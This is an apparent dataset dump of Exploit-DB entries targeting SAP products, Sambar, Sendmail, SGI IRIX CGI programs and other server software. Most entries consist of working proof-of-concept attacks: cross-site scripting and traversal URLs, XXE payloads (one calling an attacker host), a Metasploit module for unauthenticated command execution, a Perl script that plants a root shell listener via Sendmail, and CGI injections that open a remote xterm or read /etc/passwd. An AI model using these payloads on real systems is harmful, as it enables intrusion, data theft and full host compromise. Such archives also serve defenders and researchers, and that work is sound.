deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28501
Description: Sage 1.3.6 - Input Validation
Type: remote
Platform: multiple
Date: 2006-09-08
Author: pdp

Exploit:
source: https://www.securityfocus.com/bid/19928/info

The application is prone to an input-validation vulnerability that allows malicious HTML and script code to be injected before it is used in dynamically generated content.

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

.
	<rss version="2.0">
.
	<channel>
<title>Cross Context Scripting with Sage</title>
.
	<item>
<title>WINDOWS: works with "Allow HTML Tags" off</title>
.
	<content:encoded>
<script>try { request = new XMLHttpRequest(); request.open("GET", "file:///C:/boot.ini"); request.send(); alert(request.responseText); } catch(e) {}</script>
</content:encoded>
</item>
.
	<item>
<title>WINDOWS: works with "Allow HTML Tags" on</title>
.
	<content:encoded>
<script>try { request = new XMLHttpRequest(); request.open("GET", "file:///C:/boot.ini"); request.send(); alert(request.responseText); } catch(e) {}</script>
</content:encoded>
</item>
.
	<item>
<title>UNIX: works with "Allow HTML Tags" off</title>
.
	<content:encoded>
<script>try { request = new XMLHttpRequest(); request.open("GET", "file:///etc/passwd"); request.send(); alert(request.responseText); } catch(e) {}</script>
</content:encoded>
</item>
.
	<item>
<title>UNIX: works with "Allow HTML Tags" on</title>
.
	<content:encoded>
<script>try { request = new XMLHttpRequest(); request.open("GET", "file:///etc/passwd"); request.send(); alert(request.responseText); } catch(e) {}</script>
</content:encoded>
</item>
</channel>
</rss>
Exploit-DB #21026
Description: Sambar Server 4.4/5.0 - 'pagecount' File Overwrite
Type: remote
Platform: multiple
Date: 2001-07-22
Author: kyprizel

Exploit:
source: https://www.securityfocus.com/bid/3091/info

Sambar Server is a multi-threaded HTTP server for Microsoft Windows and Unix systems.

Sambar WWW Server is bundled with a sample script('pagecount') which creates temporary files on the host. However, it is possible for a remote attacker to craft a web request which will cause pagecount to overwrite existing files. Files attacked in this manner will be corrupted.

Loss of critical data and a denial of services may occur if system files are overwritten.

http://sambarserver/session/pagecount?page=index will create a file in Sambar temp directory with name 'index'

http://sambarserver/session/pagecount?page=../../../../../../autoexec.bat then the script will rewrite the first symbols of c:\autoexec.bat with it's number.

So we are able to add some text to any file on the disk.
Exploit-DB #21027
Description: Sambar Server 4.x/5.0 - Insecure Default Password Protection
Type: remote
Platform: multiple
Date: 2001-07-25
Author: 3APA3A

Exploit:
source: https://www.securityfocus.com/bid/3095/info

Sambar Server is a multi-threaded HTTP server for Microsoft Windows and Unix systems.

Sambar Server provides insecure default protection for user passwords.

The default password decryption algorithm employs only a single key, built into the server binary. If the key is recovered, user passwords may be extracted.

Compromise of the webserver's passwords could allow a local attacker to compromise the website's design and function, obtain confidential or security-sensitive information which could lead to further compromises of the host.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21027.zip
Exploit-DB #50900
Description: SAP BusinessObjects Intelligence 4.3 - XML External Entity (XXE)
Type: remote
Platform: multiple
Date: 2022-05-11
Author: West Shepherd

Exploit:
# Exploit Title: SAP BusinessObjects Intelligence 4.3 - XML External Entity (XXE)
# Google Dork: N/A
# Date: 4/21/2022
# Exploit Author: West Shepherd
# Vendor Homepage: https://www.sap.com/
# Software Link: https://www.sap.com/
# Version: 4.2 and 4.3
# Tested on: Windows Server 2019 x64
# CVE : CVE-2022-28213
# References: https://github.com/wshepherd0010/advisories/blob/master/CVE-2022-28213.md

curl -sk -X POST -H 'Content-Type: application/xml;charset=UTF-8' \
--data '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY %
remote SYSTEM "\\attackerwebsite.com\XXE\example">%remote;%int;%trick;]>' \
https://example.com/biprws/logon/long
Exploit-DB #32944
Description: SAP cFolders - Cross-Site Scripting / HTML Injection
Type: remote
Platform: multiple
Date: 2009-04-21
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/34658/info

SAP cFolders is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible. 


The following example URIs are available:

https://www.example.com/sap/bc/bsp/sap/cfx_rfc_ui/col_table_filter.htm?p_current_role=aaaaaaaa<IMG/SRC=JaVaScRiPt:alert('DSECRG')>

https://www.example.com/sap/bc/bsp/sap/cfx_rfc_ui/me_ov.htm?p_current_role= aaaaaaaa<IMG/SRC=JaVaScRiPt:alert('DSECRG')>
Exploit-DB #24963
Description: SAP ConfigServlet - OS Command Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2013-04-18
Author: Andras Kabai

Exploit:
require 'msf/core'

class Metasploit3 < Msf::Auxiliary
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'            => 'SAP ConfigServlet OS Command Execution',
			'Description'     => %q{
				This module allows execution of operating system commands through
				the SAP ConfigServlet without any authentication.
			},
			'Author'          =>
				[
					'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
					'Andras Kabai' # Metasploit module
				],
			'License'         => MSF_LICENSE,
			'References'      =>
				[
					[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
				],
			'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation
			))

		register_options(
			[
				Opt::RPORT(50000),
				OptString.new('CMD', [ true, 'The command to execute', 'whoami']),
				OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
			], self.class)
	end

	def run
		begin
			print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
			uri = normalize_uri(target_uri.path, 'ConfigServlet')

			res = send_request_cgi(
				{
					'uri' => uri,
					'method' => 'GET',
					'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text::uri_encode(datastore['CMD'])
				})
			if !res or res.code != 200
				print_error("#{rhost}:#{rport} - Exploit failed.")
				return
			end
		rescue ::Rex::ConnectionError
			print_error("#{rhost}:#{rport} - Failed to connect to the server")
			return
		end

		if res.body.include?("Process created")
			print_good("#{rhost}:#{rport} - Exploited successfully\n")
			print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
			print_line("#{rhost}:#{rport} - Output: #{res.body}")
		else
			print_error("#{rhost}:#{rport} - Exploit failed.")
			vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
		end
	end
end
Exploit-DB #30279
Description: SAP Internet Graphics Server 7.0 - 'ADM:GETLOGFILE?PARAMS' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2007-07-05
Author: Mark Litchfield

Exploit:
source: https://www.securityfocus.com/bid/24775/info

SAP Internet Graphics Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/ADM:GETLOGFILE?PARAMS=<script>alert("hello")</script>
Exploit-DB #23071
Description: SAP Internet Transaction Server 4620.2.0.323011 Build 46B.323011 - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2003-08-30
Author: Martin Eiszner

Exploit:
source: https://www.securityfocus.com/bid/8517/info

The 'wgate.dll' componenet of SAP Internet Transaction Server has been reported prone to cross-site scripting attacks. The issue occurs due to a lack of sufficient sanitization performed on data supplied to the 'wgate.dll' library. Exploitation could allow theft of cookie-based authentication credentials or other attacks 

http://www.server.name/scripts/wgate.dll?

with params:
~service=--><img%09src=javascript:alert(1)%3bcrap
Exploit-DB #23070
Description: sap internet transaction server 4620.2.0.323011 build 46b.323011 - Directory Traversal
Type: remote
Platform: multiple
Date: 2003-08-30
Author: Martin Eiszner

Exploit:
source: https://www.securityfocus.com/bid/8516/info

SAP is said to be prone to a directory traversal vulnerability, potentially allowing users to disclose the contents of sensitive files. The problem occurs due to the application failing to parse user-supplied input for directory traversal sequences (../) and due to correct bounds checking verification, making it possible to bypass the appending of the .html exentsion to requested files. As a result, it may be possible to access sensitive files residing outside of the requested location.

http://www.server.name/scripts/wgate/pbw2/!?

with params:
~language=en&
~runtimemode=DM&
~templatelanguage=&
~language=en&
~theme=..\..&
~template=services\global.srvc+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

(where "+" stands for spaces "%20" uri encoded).
Exploit-DB #23069
Description: SAP Internet Transaction Server 4620.2.0.323011 Build 46B.323011 - Information Disclosure
Type: remote
Platform: multiple
Date: 2003-08-30
Author: Martin Eiszner

Exploit:
source: https://www.securityfocus.com/bid/8515/info

A vulnerability has been discovered in SAP Internet Transaction Server (SITS)that could allow an attacker to obtain sensitive information. The problem occurs due to SITS disclosing sensitive local filesystem information when handling malformed requests. Specifically, an attacker who submits a request containing invalid values will receive an error response message in return. This response may contain sensitive information. 

http://www.server.name/scripts/wgate/pbw2/!?

with params:
~runtimemode=DM&
~language=en&
~theme=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&
Exploit-DB #28725
Description: SAP Internet Transaction Server 6.10/6.20 - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2006-09-28
Author: ILION Research

Exploit:
source: https://www.securityfocus.com/bid/20244/info

SAP Internet Transaction Server (ITS) is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue would allow an attacker to steal cookie-based credentials and to launch other attacks.

Versions 6.1 and 6.2 are reportedly vulnerable; other versions may also be affected.

http://www.example.com/scripts/wgate/!?~urlmime=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E%3Cimg%20src=%22
Exploit-DB #4877
Description: SAP MaxDB 7.6.03.07 - Remote Command Execution
Type: remote
Platform: multiple
Date: 2008-01-09
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  SAP MaxDB
              https://www.sdn.sap.com/irj/sdn/maxdb
              http://www.sap.com
Versions:     <= 7.6.03 build 007
Platforms:    Windows, Linux and Solaris
Bug:          pre-auth remote commands execution
Exploitation: remote
Date:         09 Jan 2008
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


SAP MaxDB is a commercial and widely known and used database.


#######################################################################

======
2) Bug
======


The MaxDB server executes "cons.exe DATABASE COMMAND" through system()
when some special commands are called by the user.
Some of these special commands are "show" and "exec_sdbinfo" and this
last one is just one of the small amount of commands which can be
executed by the unauthenticated users before logging in.

The usage of system() for executing the cons program allows an external
unauthenticated attacker to execute any command he wants on the target
SAP MaxDB server simply passing the "&&" or other patterns for the
execution of multiple commands in the shell.

So it's just enough to use the following SAP command to see the content
of C: on Windows (the bug is naturally exploitable on any other
platform supported by the server):

  exec_sdbinfo && echo dir c:\ | cmd.exe

Then the rest and all the other possibilities of exploiting this
vulnerability are in the fantasy of the attacker...


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/sapone.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4877.zip (2008-sapone.zip)


#######################################################################

======
4) Fix
======


No fix


#######################################################################

# milw0rm.com [2008-01-09]
Exploit-DB #30265
Description: SAP Message Server - 'Group' Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 2007-07-05
Author: Mark Litchfield

Exploit:
source: https://www.securityfocus.com/bid/24765/info

SAP Message Server is prone to a remote heap-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data before copying it to an insufficiently sized buffer.

Remote attackers can exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successful attacks will result in a complete compromise of affected computers. Failed attacks will likely result in denial-of-service conditions that disable all functionality of the application. 

GET /msgserver/html/group?group=**498 bytes** HTTP/1.0
Accept: */*
Accept-Language: en-us
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
CLR 1.1.4322; .NET CLR 2.0.50727)
Host: sapserver:8100
Proxy-Connection: Keep-Alive
Exploit-DB #38805
Description: SAP Sybase Adaptive Server Enterprise - XML External Entity Information Disclosure
Type: remote
Platform: multiple
Date: 2015-11-25
Author: Igor Bulatenko

Exploit:
source: https://www.securityfocus.com/bid/63193/info

SAP Sybase Adaptive Server Enterprise is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks.

SAP Sybase Adaptive Server Enterprise 15.7 ESD 2 is vulnerable; other versions may also be affected. 

SELECT xmlextract('/', xmlparse('<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/passwd">]><content>&abc;</content>'))
Exploit-DB #27887
Description: SAP Web Application Server 6.x/7.0 - Input Validation
Type: remote
Platform: multiple
Date: 2005-11-09
Author: Arnold Grossmann

Exploit:
source: https://www.securityfocus.com/bid/18006/info

SAP Web Application Server is prone to an input-validation vulnerability that results in HTTP response-splitting attacks. This issue is due to a failure in the application to properly sanitize user-supplied input.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust.

http://sap-was/x.htm;%20HTTP%c0%af1.0%20200%20OK%c0%8d%c0%8aContent-Length:%2035%c0%8d%c0%8aContent-Type:text%c0%afhtml%c0%8d%c0%8a%c0%8d%c0%8a%3Chtml%3e%3cbody%3ehello%3c%c0%afbody%3e%3c%c0%afhtml%3e%c0%8d%c0%8a%c0%8d%c0%8a
Exploit-DB #24246
Description: SCI Photo Chat 3.4.9 - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2004-07-20
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/10648/info

SCI Photo Chat is reported susceptible to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

The web server component of SCI Chat server will display an error message when it receives an HTTP request for an invalid file. This error message includes the complete unsanitized content of the original request.

A remote attacker can exploit this issue by creating a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed by an unsuspecting user, the hostile code may be rendered in the their web browser. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials or other attacks. 

http://www.example.com:1235/<script>alert(document.cookie);</script>
Exploit-DB #4761
Description: Sendmail with clamav-milter < 0.91.2 - Remote Command Execution
Type: remote
Platform: multiple
Date: 2007-12-21
Author: eliteboy

Exploit:
### black-hole.pl
### Sendmail w/ clamav-milter Remote Root Exploit
### Copyright (c) 2007 Eliteboy
########################################################
use IO::Socket;

print "Sendmail w/ clamav-milter Remote Root Exploit\n";
print "Copyright (C) 2007 Eliteboy\n";

if ($#ARGV != 0) {print "Give me a host to connect.\n";exit;}

print "Attacking $ARGV[0]...\n";

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '25',
                              Proto    => 'tcp');

print $sock "ehlo you\r\n";
print $sock "mail from: <>\r\n";
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";
print $sock "data\r\n.\r\nquit\r\n";

while (<$sock>) {
        print;
}

# milw0rm.com [2007-12-21]
Exploit-DB #34439
Description: ServletExec - Directory Traversal / Authentication Bypass
Type: remote
Platform: multiple
Date: 2010-08-12
Author: Stefano Di Paola

Exploit:
source: https://www.securityfocus.com/bid/42411/info

ServletExec is prone to a directory-traversal vulnerability and multiple authentication-bypass vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to gain administrative access to the affected application and to obtain sensitive information that could aid in further attacks.

Versions prior to ServletExec 6.0.0.2_39 are vulnerable. 

http://www.example.com/servlet/pagecompile._admin._help._helpContent_xjsp?page=../../WEB-INF/web.xml
http://www.example.com/servlet/pagecompile._admin._login_xjsp
http://www.example.com/servlet/pagecompile._admin._vmSystemProperties_xjsp
http://www.example.com/servlet/pagecompile._admin._SELogging_xjsp
http://www.example.com/servlet/pagecompile._admin._userMgt_xjsp
http://www.example.com/servlet/pagecompile._admin._virtualServers_xjsp
http://www.example.com/servlet/pagecompile._admin._optionalPackages_xjsp
http://www.example.com/servlet/pagecompile._admin._dataSources_xjsp
http://www.example.com/servlet/pagecompile._admin._debug_xjsp
Exploit-DB #23756
Description: Seyeon Technology FlexWATCH Server 2.2 - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2004-02-24
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9739/info

It has been reported that FlexWATCH may be prone to a cross-site scripting vulnerability that may allow a remote attacker to execute arbitrary HTML or script code in a user's browser.

These issues have been reported to exist in FlexWATCH versions 2.2 and prior.

http://www.example.com/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<script>alert('xss')</script>
Exploit-DB #19298
Description: SGI IRIX 6.2 - cgi-bin wrap
Type: remote
Platform: multiple
Date: 1997-04-19
Author: J.A. Gutierrez

Exploit:
source: https://www.securityfocus.com/bid/373/info


A vulnerability exists in the cgi-bin program 'wrap', as included with Irix 6.2 from SGI. A failure to validate input results in a vulnerability that allows any remote attacker to view the contents of any world readable directory remotely. This can be used to gain information that may be helpful in carrying out other attacks. 

http://sgi.victim/cgi-bin/wrap?/../../../../../etc
Exploit-DB #19299
Description: SGI IRIX 6.3 - cgi-bin 'webdist.cgi' Command Execution
Type: remote
Platform: multiple
Date: 1997-05-06
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/374/info


A vulnerability exists in the webdist.cgi program, as shipped by Silicon Grpahics Inc with the Irix operating system. This vulnerability will allow any remote user to execute arbitrary commands on an affected machine. Commands will be executed with the privileges of the httpd daemon.

/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd

or

http://host/webdist.cgi?distloc=;/usr/bin/X11/xterm%20-display%20hacker:0.0%20-ut%20-e%20/bin/sh
Exploit-DB #19303
Description: SGI IRIX 6.4 - cgi-bin handler
Type: remote
Platform: multiple
Date: 1997-06-16
Author: Razvan Dragomirescu

Exploit:
source: https://www.securityfocus.com/bid/380/info

A vulnerability exists in the cgi-bin program 'handler', as included by Silicon Graphics in their Irix operating system. This vulnerability will allow a remote attacker to execute arbitrary commands on the vulnerable host as the user the web server is running as. This can easily result in a user being able to access the system.

telnet target.machine.com 80
GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download HTTP/1.0

or:

telnet target.machine.com 80
GET /cgi-bin/handler/blah;/usr/sbin/xwsh -display yourhost.com|?data=Download

NOTE: large spaces are actually tabs.
Exploit-DB #30229
Description: SHTTPD 1.38 - Filename Parse Error Information Disclosure
Type: remote
Platform: multiple
Date: 2007-06-25
Author: Shay Priel

Exploit:
source: https://www.securityfocus.com/bid/24618/info

SHTTPD is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to access sensitive information that may lead to further attacks.

This issue affects SHTTPD 1.38; other versions may also be affected.

http://www.example.com/test.php%20
Exploit-DB #20625
Description: SilverPlatter WebSPIRS 3.3.1 - File Disclosure
Type: remote
Platform: multiple
Date: 2001-02-12
Author: cuctema

Exploit:
source: https://www.securityfocus.com/bid/2362/info

A remote user could gain read access to known files outside of the root directory where SilverPlatter WebSPIRS resides. Requesting a specially crafted URL composed of '../' sequences along with the known filename will disclose the requested file. 

www.target.com/cgi-bin/webspirs.cgi?sp.nextform=../../../../../../path/to/file